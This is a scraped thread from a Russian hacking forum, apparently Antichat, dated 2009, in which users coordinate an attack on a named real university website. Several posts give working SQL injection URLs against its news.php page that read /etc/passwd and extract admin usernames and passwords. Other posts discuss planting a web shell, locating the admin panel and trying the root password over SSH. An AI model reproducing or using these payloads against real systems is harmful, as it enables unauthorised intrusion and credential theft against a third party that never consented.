Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
06.12.2009, 18:40
|
|
Banned
Регистрация: 02.12.2008
Сообщений: 43
Провел на форуме:
131685
Репутация:
4
|
|
Сообщение от 547
да мнебы конфиги, или возможно логи прочитать)
но я с етой системой незнаком(
никс ситемка 
------------------
http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,load_file(0x2f6574632f7061737377 64),3,4,5-- /etc/passwd
-------------------
|
|
|
06.12.2009, 18:49
|
|
Banned
Регистрация: 02.12.2008
Сообщений: 43
Провел на форуме:
131685
Репутация:
4
|
|
Сообщение от wolmer
Такой вопрос по mysql-inj...
Я хочу проапдейтить колонку, но про апдейтить так чтобы в нее была записана какая либа сущ. инфа из таблицы (но другой)
Как это сделать? И возможно ли?
какими средствами ты распологаешь? доступ? права? 
|
|
|
|
06.12.2009, 18:56
|
|
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме:
4761503
Репутация:
229
|
|
Сообщение от x[0]x
какими средствами ты распологаешь? доступ? права? Подправил пост (точно сформулировал теперь)
|
|
|
|
06.12.2009, 18:58
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Код:
http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,concat_ws(0x3a,uname,upass),3,4,5+from+admin_users--
Spyder, а ТЫ залил шелл? )
Последний раз редактировалось mailbrush; 06.12.2009 в 19:11..
|
|
|
|
06.12.2009, 19:17
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147
Репутация:
211
|
|
Сообщение от x[0]x
никс ситемка
------------------
http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,load_file(0x2f6574632f7061737377 64),3,4,5-- /etc/passwd
------------------- да я /etc/passwd в первую очередь прочитал)
но там всеравно сильно невыжмеш с нее(
кавычка слешируется)
|
|
|
|
06.12.2009, 19:20
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147
Репутация:
211
|
|
Сообщение от mailbrush
Код:
http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,concat_ws(0x3a,uname,upass),3,4,5+from+admin_users--
Spyder, а ТЫ залил шелл? ) сомниваюсь штобы Spyder залил...
каким образом?
через логи?
|
|
|
|
06.12.2009, 19:22
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Сообщение от 547
сомниваюсь штобы Spyder залил...
каким образом?
через логи?
А ты не сомневайся
|
|
|
|
06.12.2009, 19:23
|
|
Banned
Регистрация: 02.12.2008
Сообщений: 43
Провел на форуме:
131685
Репутация:
4
|
|
Сообщение от 547
сомниваюсь штобы Spyder залил...
каким образом?
через логи?
reverse ip => выбирай сайты - читалка у тебя есть.
можно читать параметры подключения к бд и прочее. нет ничего сложного. или ищи админку 
хотя долго искать не придется
http://wolfpack.loyno.edu/admin/
 )
сложи 1+1 )
http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,concat_ws(0x3a,uname,upass),3,4, 5+from+admin_users--
+
http://wolfpack.loyno.edu/admin/
--
вполне может быть что пас от рута может подойти к ссш (если есть+ есть доступ)
Последний раз редактировалось x[0]x; 06.12.2009 в 19:31..
|
|
|
|
06.12.2009, 19:44
|
|
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
Провел на форуме:
472147
Репутация:
211
|
|
Сообщение от x[0]x
reverse ip => выбирай сайты - читалка у тебя есть.
можно читать параметры подключения к бд и прочее. нет ничего сложного. или ищи админку
хотя долго искать не придется
http://wolfpack.loyno.edu/admin/
)
сложи 1+1 )
http://wolfpack.loyno.edu/news.php?action=view&id=-12+union+select+1,concat_ws(0x3a,uname,upass),3,4, 5+from+admin_users--
+
http://wolfpack.loyno.edu/admin/
--
вполне может быть что пас от рута может подойти к ссш (если есть+ есть доступ) да я если честно админку и неискал... и инжекцию нераскручивал полностю) наврядли в админке есть штото интерестное кроме хтмл)
а к ssh сколько непробовал никогда рут пасс неподходил (ну я правда много и непробовал)....
я думаю в данном случае шелл незалить...
p.s если неправ доказуйте обратное) с удовольствием выслушаю...
mailbrush утверждает што спайдер уже туда залил шелл) ну штож покажыте... в лс киньте ссылку хотябы...
я несомниваюсь што здесь есть ребята которые смогут это зделать)
Последний раз редактировалось 547; 06.12.2009 в 19:52..
|
|
|
|
06.12.2009, 19:53
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме:
6075534
Репутация:
2731
|
|
Сообщение от 547
да я если честно админку и неискал... и инжекцию нераскручивал полностю) наврядли в админке есть штото интерестное кроме хтмл)
а к ssh сколько непробовал никогда рут пасс неподходил (ну я правда много и непробовал)....
я думаю в данном случае шелл незалить...
p.s если неправ доказуйте обратное) с удовольствием выслушаю...
mailbrush утверждает што спайдер уже туда залил шелл) ну штож покажыте... в лс киньте ссылку хотябы...
я несомниваюсь што здесь есть ребята которые смогут это зделать)
У тебя нету нестандартного мышления
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
![Аватар для x[0]x](/avatars/avatar69745.jpg?1738240){kind=avatar}
![Аватар для x[0]x](/avatars/avatar69745.jpg?1738258){kind=avatar}
![Аватар для x[0]x](/avatars/avatar69745.jpg?1738340){kind=avatar}
Похожие темы
Линейный вид
